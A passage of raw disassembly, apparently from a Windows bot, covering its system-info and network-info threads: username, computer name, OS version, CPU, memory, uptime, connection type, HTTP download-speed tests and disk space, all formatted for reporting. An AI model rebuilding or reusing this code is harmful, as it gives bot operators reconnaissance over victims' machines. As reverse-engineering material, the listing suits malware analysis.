XREF: sub_40813C+2Dj ; sub_40813C+62j mov eax, [ebp+var_8] mov [ebp+var_C], eax mov eax, [ebp+arg_4] mov [ebp+var_4], eax loc_4081AE: ; CODE XREF: sub_40813C:loc_4081F5j mov eax, [ebp+var_C] movsx eax, byte ptr [eax] test eax, eax jz short loc_4081F7 mov eax, [ebp+var_C] movsx eax, byte ptr [eax] mov ecx, [ebp+var_4] movsx ecx, byte ptr [ecx] cmp eax, ecx jnz short loc_4081D7 mov eax, [ebp+var_C] and byte ptr [eax], 0 mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax jmp short loc_4081F7 ; --------------------------------------------------------------------------- loc_4081D7: ; CODE XREF: sub_40813C+8Aj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax mov eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_4081F5 mov eax, [ebp+arg_4] mov [ebp+var_4], eax mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax loc_4081F5: ; CODE XREF: sub_40813C+AAj jmp short loc_4081AE ; --------------------------------------------------------------------------- loc_4081F7: ; CODE XREF: sub_40813C+7Aj ; sub_40813C+99j mov eax, [ebp+arg_8] mov ecx, [ebp+var_C] mov [eax], ecx mov eax, [ebp+var_8] sub eax, [ebp+var_C] neg eax sbb eax, eax and eax, [ebp+var_8] leave retn sub_40813C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40820E proc near ; CODE XREF: sub_40821B:loc_408221p ; sub_40821B+1Cp push ebp mov ebp, esp push ebx push esi push edi rdtsc pop edi pop esi pop ebx pop ebp retn sub_40820E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40821B proc near ; CODE XREF: sub_4083AD+3A4p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 20h loc_408221: ; CODE XREF: sub_40821B+4Aj ; sub_40821B+55j call sub_40820E mov [ebp+var_20], eax mov [ebp+var_1C], edx push 3E8h call dword_41709C ; Sleep call sub_40820E sub eax, [ebp+var_20] sbb edx, [ebp+var_1C] push 0 push 186A0h push edx push eax call sub_416C90 push 0 push 0Ah push edx push eax call sub_416C90 mov [ebp+var_8], eax mov [ebp+var_4], edx cmp [ebp+var_4], 0 ja short loc_408221 jb short loc_408272 cmp [ebp+var_8], 0F4240h ja short loc_408221 loc_408272: ; CODE XREF: sub_40821B+4Cj push 0 push 64h push [ebp+var_4] push [ebp+var_8] call sub_416C10 mov [ebp+var_18], eax mov [ebp+var_14], edx mov [ebp+var_10], 64h and [ebp+var_C], 0 cmp [ebp+var_14], 0 ja short loc_4082AB jb short loc_4082A0 cmp [ebp+var_18], 50h jnb short loc_4082AB loc_4082A0: ; CODE XREF: sub_40821B+7Dj mov [ebp+var_10], 4Bh and [ebp+var_C], 0 loc_4082AB: ; CODE XREF: sub_40821B+7Bj ; sub_40821B+83j cmp [ebp+var_14], 0 ja short loc_4082C4 jb short loc_4082B9 cmp [ebp+var_18], 47h jnb short loc_4082C4 loc_4082B9: ; CODE XREF: sub_40821B+96j mov [ebp+var_10], 42h and [ebp+var_C], 0 loc_4082C4: ; CODE XREF: sub_40821B+94j ; sub_40821B+9Cj cmp [ebp+var_14], 0 ja short loc_4082DD jb short loc_4082D2 cmp [ebp+var_18], 37h jnb short loc_4082DD loc_4082D2: ; CODE XREF: sub_40821B+AFj mov [ebp+var_10], 32h and [ebp+var_C], 0 loc_4082DD: ; CODE XREF: sub_40821B+ADj ; sub_40821B+B5j cmp [ebp+var_14], 0 ja short loc_4082F6 jb short loc_4082EB cmp [ebp+var_18], 26h jnb short loc_4082F6 loc_4082EB: ; CODE XREF: sub_40821B+C8j mov [ebp+var_10], 21h and [ebp+var_C], 0 loc_4082F6: ; CODE XREF: sub_40821B+C6j ; sub_40821B+CEj cmp [ebp+var_14], 0 ja short loc_40830F jb short loc_408304 cmp [ebp+var_18], 1Eh jnb short loc_40830F loc_408304: ; CODE XREF: sub_40821B+E1j mov [ebp+var_10], 19h and [ebp+var_C], 0 loc_40830F: ; CODE XREF: sub_40821B+DFj ; sub_40821B+E7j cmp [ebp+var_14], 0 ja short loc_408325 jb short loc_40831D cmp [ebp+var_18], 0Ah jnb short loc_408325 loc_40831D: ; CODE XREF: sub_40821B+FAj and [ebp+var_10], 0 and [ebp+var_C], 0 loc_408325: ; CODE XREF: sub_40821B+F8j ; sub_40821B+100j mov eax, [ebp+var_8] sub eax, [ebp+var_18] mov ecx, [ebp+var_4] sbb ecx, [ebp+var_14] add eax, [ebp+var_10] adc ecx, [ebp+var_C] mov [ebp+var_8], eax mov [ebp+var_4], ecx mov eax, [ebp+var_8] leave retn sub_40821B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408342 proc near ; CODE XREF: sub_40D043+156p ; sub_40D871+30Cp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push 1Fh push [ebp+arg_0] push 7 push 400h call dword_417034 ; GetLocaleInfoA neg eax sbb eax, eax neg eax mov [ebp+var_4], eax mov eax, [ebp+arg_0] and byte ptr [eax+3], 0 cmp [ebp+var_4], 0 jz short loc_408381 push offset off_419100 push [ebp+arg_0] call sub_416F74 ; _strcmpi pop ecx pop ecx test eax, eax jnz short loc_4083A8 loc_408381: ; CODE XREF: sub_408342+2Aj push 1Fh push [ebp+arg_0] push 7 push 800h call dword_417034 ; GetLocaleInfoA neg eax sbb eax, eax neg eax mov [ebp+var_4], eax mov eax, [ebp+arg_0] and byte ptr [eax+3], 0 mov eax, [ebp+var_4] jmp short locret_4083AB ; --------------------------------------------------------------------------- loc_4083A8: ; CODE XREF: sub_408342+3Dj push 1 pop eax locret_4083AB: ; CODE XREF: sub_408342+64j leave retn sub_408342 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4083AD proc near ; DATA XREF: sub_4087C4+35o var_750 = dword ptr -750h var_74C = dword ptr -74Ch var_748 = dword ptr -748h var_744 = dword ptr -744h var_740 = dword ptr -740h var_73C = dword ptr -73Ch var_738 = dword ptr -738h var_734 = byte ptr -734h var_72C = dword ptr -72Ch var_728 = dword ptr -728h var_714 = dword ptr -714h var_710 = dword ptr -710h var_70C = dword ptr -70Ch var_708 = byte ptr -708h var_6F0 = dword ptr -6F0h var_6EC = dword ptr -6ECh var_6E8 = dword ptr -6E8h var_6E4 = dword ptr -6E4h var_6E0 = byte ptr -6E0h var_6D0 = dword ptr -6D0h var_6CC = dword ptr -6CCh var_6C8 = byte ptr -6C8h var_524 = dword ptr -524h var_520 = dword ptr -520h var_51C = dword ptr -51Ch var_518 = dword ptr -518h var_514 = dword ptr -514h var_510 = dword ptr -510h var_50C = byte ptr -50Ch var_48C = dword ptr -48Ch var_488 = dword ptr -488h var_484 = dword ptr -484h var_480 = dword ptr -480h var_47C = byte ptr -47Ch var_409 = byte ptr -409h var_408 = byte ptr -408h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 750h push ebx push esi push edi push 1A7h push [ebp+arg_0] lea eax, [ebp+var_6CC] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx lea eax, [ebp+var_734] push eax call dword_4170C4 ; GlobalMemoryStatus mov eax, [ebp+var_72C] add eax, 100000h shr eax, 14h mov [ebp+var_6F0], eax mov eax, [ebp+var_728] add eax, 100000h shr eax, 14h mov [ebp+var_738], eax call sub_4092A4 mov [ebp+var_714], eax mov eax, [ebp+var_714] xor edx, edx mov ecx, 15180h div ecx mov [ebp+var_6E8], eax mov eax, [ebp+var_714] xor edx, edx mov ecx, 15180h div ecx mov eax, edx xor edx, edx mov ecx, 0E10h div ecx mov [ebp+var_524], eax mov eax, [ebp+var_714] xor edx, edx mov ecx, 15180h div ecx mov eax, edx xor edx, edx mov ecx, 0E10h div ecx mov eax, edx xor edx, edx push 3Ch pop ecx div ecx mov [ebp+var_6E4], eax mov [ebp+var_8], 15h mov [ebp+var_6D0], 10h lea eax, [ebp+var_8] push eax lea eax, [ebp+var_708] push eax call dword_417018 ; GetUserNameA lea eax, [ebp+var_6D0] push eax lea eax, [ebp+var_6E0] push eax call dword_417078 ; GetComputerNameA mov [ebp+var_520], 94h push 24h pop ecx xor eax, eax lea edi, [ebp+var_51C] rep stosd lea eax, [ebp+var_520] push eax call dword_417030 ; GetVersionExA mov [ebp+var_48C], offset a? ; "?" mov [ebp+var_710], offset aNoSp ; "no SP" cmp [ebp+var_51C], 4 jnz short loc_408522 cmp [ebp+var_518], 0 jnz short loc_408522 cmp [ebp+var_510], 1 jnz short loc_40850A mov [ebp+var_48C], offset a95 ; "95" loc_40850A: ; CODE XREF: sub_4083AD+151j cmp [ebp+var_510], 2 jnz short loc_40851D mov [ebp+var_48C], offset aNt ; "NT" loc_40851D: ; CODE XREF: sub_4083AD+164j jmp loc_4085B6 ; --------------------------------------------------------------------------- loc_408522: ; CODE XREF: sub_4083AD+13Fj ; sub_4083AD+148j cmp [ebp+var_51C], 4 jnz short loc_408540 cmp [ebp+var_518], 0Ah jnz short loc_408540 mov [ebp+var_48C], offset a98 ; "98" jmp short loc_4085B6 ; --------------------------------------------------------------------------- loc_408540: ; CODE XREF: sub_4083AD+17Cj ; sub_4083AD+185j cmp [ebp+var_51C], 4 jnz short loc_40855E cmp [ebp+var_518], 5Ah jnz short loc_40855E mov [ebp+var_48C], offset aMe ; "ME" jmp short loc_4085B6 ; --------------------------------------------------------------------------- loc_40855E: ; CODE XREF: sub_4083AD+19Aj ; sub_4083AD+1A3j cmp [ebp+var_51C], 5 jnz short loc_40857C cmp [ebp+var_518], 0 jnz short loc_40857C mov [ebp+var_48C], offset a2000 ; "2000" jmp short loc_4085B6 ; --------------------------------------------------------------------------- loc_40857C: ; CODE XREF: sub_4083AD+1B8j ; sub_4083AD+1C1j cmp [ebp+var_51C], 5 jnz short loc_40859A cmp [ebp+var_518], 1 jnz short loc_40859A mov [ebp+var_48C], offset aXp ; "XP" jmp short loc_4085B6 ; --------------------------------------------------------------------------- loc_40859A: ; CODE XREF: sub_4083AD+1D6j ; sub_4083AD+1DFj cmp [ebp+var_51C], 5 jnz short loc_4085B6 cmp [ebp+var_518], 2 jnz short loc_4085B6 mov [ebp+var_48C], offset a2003 ; "2003" loc_4085B6: ; CODE XREF: sub_4083AD:loc_40851Dj ; sub_4083AD+191j ... cmp [ebp+var_510], 2 jnz short loc_4085D6 movsx eax, [ebp+var_50C] test eax, eax jz short loc_4085D6 lea eax, [ebp+var_50C] mov [ebp+var_710], eax loc_4085D6: ; CODE XREF: sub_4083AD+210j ; sub_4083AD+21Bj call sub_40435B test eax, eax jz short loc_4085EB mov [ebp+var_744], offset aYes ; "Yes" jmp short loc_4085F5 ; --------------------------------------------------------------------------- loc_4085EB: ; CODE XREF: sub_4083AD+230j mov [ebp+var_744], offset aNo ; "No" loc_4085F5: ; CODE XREF: sub_4083AD+23Cj mov eax, [ebp+var_744] mov [ebp+var_4], eax and [ebp+var_47C], 0 and [ebp+var_409], 0 xor eax, eax cpuid mov [ebp+var_488], ebx mov [ebp+var_484], edx mov [ebp+var_480], ecx lea eax, [ebp+var_488] mov [ebp+var_6EC], eax and [ebp+var_70C], 0 lea eax, [ebp+var_70C] push eax push 20019h push 0 push offset aHardwareDescri ; "HARDWARE\\DESCRIPTION\\System\\CentralProc"... push 80000002h call dword_417008 ; RegOpenKeyExA test eax, eax jnz short loc_4086B3 and [ebp+var_73C], 0 mov [ebp+var_740], 80h lea eax, [ebp+var_740] push eax lea eax, [ebp+var_488] push eax lea eax, [ebp+var_73C] push eax push 0 push offset aProcessornames ; "ProcessorNameString" push [ebp+var_70C] call dword_41700C ; RegQueryValueExA test eax, eax jnz short loc_4086A7 push 1 push 1 lea eax, [ebp+var_488] push eax call sub_407C2C add esp, 0Ch loc_4086A7: ; CODE XREF: sub_4083AD+2E5j push [ebp+var_70C] call dword_417028 ; RegCloseKey loc_4086B3: ; CODE XREF: sub_4083AD+2A8j cmp [ebp+var_6E4], 1 jnz short loc_4086C8 mov [ebp+var_748], offset byte_41DE00 jmp short loc_4086D2 ; --------------------------------------------------------------------------- loc_4086C8: ; CODE XREF: sub_4083AD+30Dj mov [ebp+var_748], offset dword_4191F4 loc_4086D2: ; CODE XREF: sub_4083AD+319j cmp [ebp+var_524], 1 jnz short loc_4086E7 mov [ebp+var_74C], offset byte_41DE00 jmp short loc_4086F1 ; --------------------------------------------------------------------------- loc_4086E7: ; CODE XREF: sub_4083AD+32Cj mov [ebp+var_74C], offset dword_4191F4 loc_4086F1: ; CODE XREF: sub_4083AD+338j cmp [ebp+var_6E8], 1 jnz short loc_408706 mov [ebp+var_750], offset byte_41DE00 jmp short loc_408710 ; --------------------------------------------------------------------------- loc_408706: ; CODE XREF: sub_4083AD+34Bj mov [ebp+var_750], offset dword_4191F4 loc_408710: ; CODE XREF: sub_4083AD+357j lea eax, [ebp+var_708] push eax lea eax, [ebp+var_6E0] push eax push [ebp+var_748] push [ebp+var_6E4] push [ebp+var_74C] push [ebp+var_524] push [ebp+var_750] push [ebp+var_6E8] push [ebp+var_4] push [ebp+var_6F0] push [ebp+var_738] call sub_40821B push eax push [ebp+var_6EC] push [ebp+var_514] push [ebp+var_518] push [ebp+var_51C] push [ebp+var_710] push [ebp+var_48C] push offset dword_419104 push 400h lea eax, [ebp+var_408] push eax call sub_416BAE ; _snprintf add esp, 54h lea eax, [ebp+var_408] push eax push offset dword_418B64 lea eax, [ebp+var_6C8] push eax call sub_40D53F add esp, 0Ch push [ebp+var_6CC] call sub_409763 pop ecx xor eax, eax pop edi pop esi pop ebx leave retn 4 sub_4083AD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4087C4 proc near ; CODE XREF: sub_40A9CF+1B9Cp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push 1A7h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_4087DE jmp short locret_408806 ; --------------------------------------------------------------------------- loc_4087DE: ; CODE XREF: sub_4087C4+16j push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 4 push eax call sub_405F67 pop ecx pop ecx push offset aSysinfoThread ; "Sysinfo thread" push 0 push [ebp+var_4] push offset sub_4083AD call sub_4095A4 add esp, 10h locret_408806: ; CODE XREF: sub_4087C4+18j leave retn sub_4087C4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408808 proc near ; CODE XREF: sub_408887+Bp ; sub_408887+19p ... var_2C = dword ptr -2Ch var_28 = byte ptr -28h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 2Ch push [ebp+arg_0] lea eax, [ebp+var_28] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_28] push eax call sub_4105FB pop ecx call sub_416B64 ; clock mov [ebp+var_4], eax push 7D0h push 0 push offset a80 ; "80" lea eax, [ebp+var_28] push eax call sub_4050EA add esp, 10h mov [ebp+var_8], eax push [ebp+var_8] call sub_4053B1 pop ecx cmp [ebp+var_8], 0 jnz short loc_40885F mov eax, 3E8h jmp short locret_408885 ; --------------------------------------------------------------------------- loc_40885F: ; CODE XREF: sub_408808+4Ej call sub_416B64 ; clock sub eax, [ebp+var_4] cmp eax, 3E8h jnb short loc_40887B call sub_416B64 ; clock sub eax, [ebp+var_4] mov [ebp+var_2C], eax jmp short loc_408882 ; --------------------------------------------------------------------------- loc_40887B: ; CODE XREF: sub_408808+64j mov [ebp+var_2C], 3E8h loc_408882: ; CODE XREF: sub_408808+71j mov eax, [ebp+var_2C] locret_408885: ; CODE XREF: sub_408808+55j leave retn sub_408808 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408887 proc near ; CODE XREF: sub_408B30+1C2p ; sub_40CA29+1E9p ... var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 18h push offset dword_418F60 call sub_408808 pop ecx mov [ebp+var_4], eax push offset dword_418F6C call sub_408808 pop ecx mov [ebp+var_8], eax push offset dword_418F84 call sub_408808 pop ecx mov [ebp+var_C], eax push offset dword_418F90 call sub_408808 pop ecx mov [ebp+var_10], eax push offset dword_418FA0 call sub_408808 pop ecx mov [ebp+var_14], eax push offset dword_418FB0 call sub_408808 pop ecx mov [ebp+var_18], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] add eax, [ebp+var_C] add eax, [ebp+var_10] add eax, [ebp+var_14] add eax, [ebp+var_18] xor edx, edx push 6 pop ecx div ecx leave retn sub_408887 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4088FC proc near ; CODE XREF: sub_408B30:loc_408D33p var_438 = qword ptr -438h var_430 = dword ptr -430h var_42C = qword ptr -42Ch var_424 = dword ptr -424h var_420 = dword ptr -420h var_41C = dword ptr -41Ch var_418 = byte ptr -418h var_318 = dword ptr -318h var_314 = dword ptr -314h var_310 = dword ptr -310h var_30C = dword ptr -30Ch var_308 = byte ptr -308h var_208 = byte ptr -208h var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 438h and [ebp+var_8], 0 jmp short loc_408912 ; --------------------------------------------------------------------------- loc_40890B: ; CODE XREF: sub_4088FC+23j mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_408912: ; CODE XREF: sub_4088FC+Dj mov eax, [ebp+var_8] cmp off_418FC4[eax*4], 0 jz short loc_408921 jmp short loc_40890B ; --------------------------------------------------------------------------- loc_408921: ; CODE XREF: sub_4088FC+21j mov eax, [ebp+var_8] shr eax, 1 mov [ebp+var_8], eax and [ebp+var_4], 0 jmp short loc_408936 ; --------------------------------------------------------------------------- loc_40892F: ; CODE XREF: sub_4088FC+D6j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_408936: ; CODE XREF: sub_4088FC+31j cmp [ebp+var_4], 3 jnb loc_408B2C mov eax, [ebp+var_8] dec eax push eax push 0 call sub_4103F5 pop ecx pop ecx mov [ebp+var_318], eax mov eax, [ebp+var_318] shl eax, 1 push off_418FC4[eax*4] lea eax, [ebp+var_418] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_418] push eax call sub_4105FB pop ecx mov eax, [ebp+var_318] shl eax, 1 push off_418FC8[eax*4] lea eax, [ebp+var_308] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_308] push eax call sub_4105FB pop ecx push 2710h push 0 push offset a80 ; "80" lea eax, [ebp+var_418] push eax call sub_4050EA add esp, 10h mov [ebp+var_310], eax cmp [ebp+var_310], 0 jnz short loc_4089D7 jmp loc_40892F ; --------------------------------------------------------------------------- loc_4089D7: ; CODE XREF: sub_4088FC+D4j lea eax, [ebp+var_418] push eax lea eax, [ebp+var_308] push eax push offset aGetSHttp1_0Hos ; "GET /%s HTTP/1.0\r\nHost: %s\r\n\r\n" push 200h lea eax, [ebp+var_208] push eax call sub_416BAE ; _snprintf add esp, 14h lea eax, [ebp+var_208] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_208] push eax push [ebp+var_310] call sub_4053BF add esp, 0Ch and [ebp+var_314], 0 call sub_416B64 ; clock mov [ebp+var_41C], eax and [ebp+var_30C], 0 loc_408A3A: ; CODE XREF: sub_4088FC+1AFj ; sub_4088FC+22Bj push 1388h push 200h lea eax, [ebp+var_208] push eax push [ebp+var_310] call sub_405443 add esp, 10h mov [ebp+var_420], eax cmp [ebp+var_420], 0 jz short loc_408A93 cmp [ebp+var_420], 0FFFFFFFFh jz short loc_408A93 call sub_416B64 ; clock sub eax, [ebp+var_41C] cmp eax, 1388h jnb short loc_408A93 cmp [ebp+var_30C], 100000h jb loc_408B15 loc_408A93: ; CODE XREF: sub_4088FC+16Aj ; sub_4088FC+173j ... cmp [ebp+var_30C], 2000h jnb short loc_408AAD push [ebp+var_310] call sub_40538D pop ecx jmp short loc_408A3A ; --------------------------------------------------------------------------- loc_408AAD: ; CODE XREF: sub_4088FC+1A1j mov eax, [ebp+var_30C] mov dword ptr [ebp+var_42C], eax and dword ptr [ebp+var_42C+4], 0 fild [ebp+var_42C] fstp [ebp+var_430] call sub_416B64 ; clock sub eax, [ebp+var_41C] mov dword ptr [ebp+var_438], eax and dword ptr [ebp+var_438+4], 0 fild [ebp+var_438] fdiv flt_417270 fdivr [ebp+var_430] call sub_416CF8 ; _ftol mov [ebp+var_424], eax push [ebp+var_310] call sub_40538D pop ecx mov eax, [ebp+var_424] jmp short locret_408B2E ; --------------------------------------------------------------------------- loc_408B15: ; CODE XREF: sub_4088FC+191j mov eax, [ebp+var_30C] add eax, [ebp+var_420] mov [ebp+var_30C], eax jmp loc_408A3A ; --------------------------------------------------------------------------- loc_408B2C: ; CODE XREF: sub_4088FC+3Ej xor eax, eax locret_408B2E: ; CODE XREF: sub_4088FC+217j leave retn sub_4088FC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408B30 proc near ; DATA XREF: sub_408E4A+35o var_A9C = qword ptr -0A9Ch var_A7C = qword ptr -0A7Ch var_A74 = dword ptr -0A74h var_A70 = dword ptr -0A70h var_A6C = dword ptr -0A6Ch var_A68 = dword ptr -0A68h var_A64 = dword ptr -0A64h var_A60 = dword ptr -0A60h var_A5C = byte ptr -0A5Ch var_8B8 = dword ptr -8B8h var_8B4 = dword ptr -8B4h var_8B0 = byte ptr -8B0h var_830 = dword ptr -830h var_82C = dword ptr -82Ch var_828 = dword ptr -828h var_824 = dword ptr -824h var_820 = dword ptr -820h var_81C = dword ptr -81Ch var_818 = dword ptr -818h var_814 = byte ptr -814h var_414 = byte ptr -414h var_10 = byte ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0A7Ch push 1A7h push [ebp+arg_0] lea eax, [ebp+var_A60] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx push offset dword_41EF18 lea eax, [ebp+var_414] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx lea eax, [ebp+var_824] push eax push 0 push 0 push offset dword_41EF18 call dword_41DE54 ; getaddrinfo test eax, eax jnz short loc_408BBC push 1 push 0 push 0 push 401h lea eax, [ebp+var_414] push eax mov eax, [ebp+var_824] push dword ptr [eax+10h] mov eax, [ebp+var_824] push dword ptr [eax+18h] call dword_41DE58 ; getnameinfo push [ebp+var_824] call dword_41DE5C ; freeaddrinfo loc_408BBC: ; CODE XREF: sub_408B30+54j call sub_409318 mov [ebp+var_8B8], eax mov eax, [ebp+var_8B8] xor edx, edx mov ecx, 15180h div ecx mov [ebp+var_830], eax mov eax, [ebp+var_8B8] xor edx, edx mov ecx, 15180h div ecx mov eax, edx xor edx, edx mov ecx, 0E10h div ecx mov [ebp+var_820], eax mov eax, [ebp+var_8B8] xor edx, edx mov ecx, 15180h div ecx mov eax, edx xor edx, edx mov ecx, 0E10h div ecx mov eax, edx xor edx, edx push 3Ch pop ecx div ecx mov [ebp+var_82C], eax push offset aUnknown_0 ; "Unknown" lea eax, [ebp+var_8B0] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx push offset aUnknown_0 ; "Unknown" lea eax, [ebp+var_10] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx cmp dword_41DE4C, 0 jz short loc_408C9F push 0 push 80h lea eax, [ebp+var_8B0] push eax lea eax, [ebp+var_818] push eax call dword_41DE4C ; InternetGetConnectedStateEx test eax, eax jz short loc_408C9F mov eax, [ebp+var_818] and eax, 1 test eax, eax jz short loc_408C8F push offset aModem ; "Modem" lea eax, [ebp+var_10] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_408C9F ; --------------------------------------------------------------------------- loc_408C8F: ; CODE XREF: sub_408B30+14Bj push offset aLan ; "LAN" lea eax, [ebp+var_10] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx loc_408C9F: ; CODE XREF: sub_408B30+11Fj ; sub_408B30+13Ej ... call sub_4043E9 test eax, eax jz short loc_408CB4 mov [ebp+var_A64], offset aYes ; "Yes" jmp short loc_408CBE ; --------------------------------------------------------------------------- loc_408CB4: ; CODE XREF: sub_408B30+176j mov [ebp+var_A64], offset aNo ; "No" loc_408CBE: ; CODE XREF: sub_408B30+182j mov eax, [ebp+var_A64] mov [ebp+var_8], eax call sub_404279 test eax, eax jz short loc_408CDC mov [ebp+var_A68], offset aYes ; "Yes" jmp short loc_408CE6 ; --------------------------------------------------------------------------- loc_408CDC: ; CODE XREF: sub_408B30+19Ej mov [ebp+var_A68], offset aNo ; "No" loc_408CE6: ; CODE XREF: sub_408B30+1AAj mov eax, [ebp+var_A68] mov [ebp+var_8B4], eax call sub_408887 mov [ebp+var_828], eax mov [ebp+var_81C], offset aBad ; "Bad" cmp [ebp+var_828], 2EEh jnb short loc_408D1D mov [ebp+var_81C], offset aAvarage ; "Avarage" loc_408D1D: ; CODE XREF: sub_408B30+1E1j cmp [ebp+var_828], 1F4h jnb short loc_408D33 mov [ebp+var_81C], offset aGood ; "Good" loc_408D33: ; CODE XREF: sub_408B30+1F7j call sub_4088FC mov [ebp+var_4], eax cmp [ebp+var_82C], 1 jnz short loc_408D50 mov [ebp+var_A6C], offset byte_41DE00 jmp short loc_408D5A ; --------------------------------------------------------------------------- loc_408D50: ; CODE XREF: sub_408B30+212j mov [ebp+var_A6C], offset dword_4191F4 loc_408D5A: ; CODE XREF: sub_408B30+21Ej cmp [ebp+var_820], 1 jnz short loc_408D6F mov [ebp+var_A70], offset byte_41DE00 jmp short loc_408D79 ; --------------------------------------------------------------------------- loc_408D6F: ; CODE XREF: sub_408B30+231j mov [ebp+var_A70], offset dword_4191F4 loc_408D79: ; CODE XREF: sub_408B30+23Dj cmp [ebp+var_830], 1 jnz short loc_408D8E mov [ebp+var_A74], offset byte_41DE00 jmp short loc_408D98 ; --------------------------------------------------------------------------- loc_408D8E: ; CODE XREF: sub_408B30+250j mov [ebp+var_A74], offset dword_4191F4 loc_408D98: ; CODE XREF: sub_408B30+25Cj push [ebp+var_A6C] push [ebp+var_82C] push [ebp+var_A70] push [ebp+var_820] push [ebp+var_A74] push [ebp+var_830] mov eax, [ebp+var_4] mov dword ptr [ebp+var_A7C], eax and dword ptr [ebp+var_A7C+4], 0 fild [ebp+var_A7C] fdiv flt_417274 push ecx push ecx fstp [esp+0A9Ch+var_A9C] push [ebp+var_828] push [ebp+var_81C] push [ebp+var_8B4] push [ebp+var_8] lea eax, [ebp+var_10] push eax lea eax, [ebp+var_8B0] push eax lea eax, [ebp+var_414] push eax push offset dword_419284 push 400h lea eax, [ebp+var_814] push eax call sub_416BAE ; _snprintf add esp, 48h lea eax, [ebp+var_814] push eax push offset dword_418B64 lea eax, [ebp+var_A5C] push eax call sub_40D53F add esp, 0Ch push [ebp+var_A60] call sub_409763 pop ecx xor eax, eax leave retn 4 sub_408B30 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408E4A proc near ; CODE XREF: sub_40A9CF+1BD8p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push 1A7h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_408E64 jmp short locret_408E8C ; --------------------------------------------------------------------------- loc_408E64: ; CODE XREF: sub_408E4A+16j push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 4 push eax call sub_405F67 pop ecx pop ecx push offset aNetinfoThread ; "Netinfo thread" push 0 push [ebp+var_4] push offset sub_408B30 call sub_4095A4 add esp, 10h locret_408E8C: ; CODE XREF: sub_408E4A+18j leave retn sub_408E4A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_408E8E proc near ; CODE XREF: sub_40CA29+1C5p ; sub_40CA29+2DAp ... var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 push ebp mov ebp, esp sub esp, 24h mov eax, dword_419398 mov [ebp+var_1C], eax and [ebp+var_10], 0 and [ebp+var_C], 0 loc_408EA4: ; CODE XREF: sub_408E8E+95j lea eax, [ebp+var_1C] push eax call dword_4170CC ; GetDriveTypeA mov [ebp+var_10], eax cmp [ebp+var_10], 0 jz short loc_408F14 cmp [ebp+var_10], 1 jz short loc_408F14 cmp [ebp+var_10], 5 jz short loc_408EE1 cmp [ebp+var_10], 2 jz short loc_408EE1 lea eax, [ebp+var_24] push eax lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_1C] push eax call dword_4170C8 ; GetDiskFreeSpaceExA jmp short loc_408EF1 ; --------------------------------------------------------------------------- loc_408EE1: ; CODE XREF: sub_408E8E+33j ; sub_408E8E+39j push 8 push 0 lea eax, [ebp+var_24] push eax call sub_416B6A ; memset add esp, 0Ch loc_408EF1: ; CODE XREF: sub_408E8E+51j push 0 push 100000h push [ebp+var_20] push [ebp+var_24] call sub_416C90 mov [ebp+var_24], eax mov [ebp+var_20], edx mov eax, [ebp+var_24] mov ecx, [ebp+var_C] add ecx, eax mov [ebp+var_C], ecx loc_408F14: ; CODE XREF: sub_408E8E+27j ; sub_408E8E+2Dj mov al, byte ptr 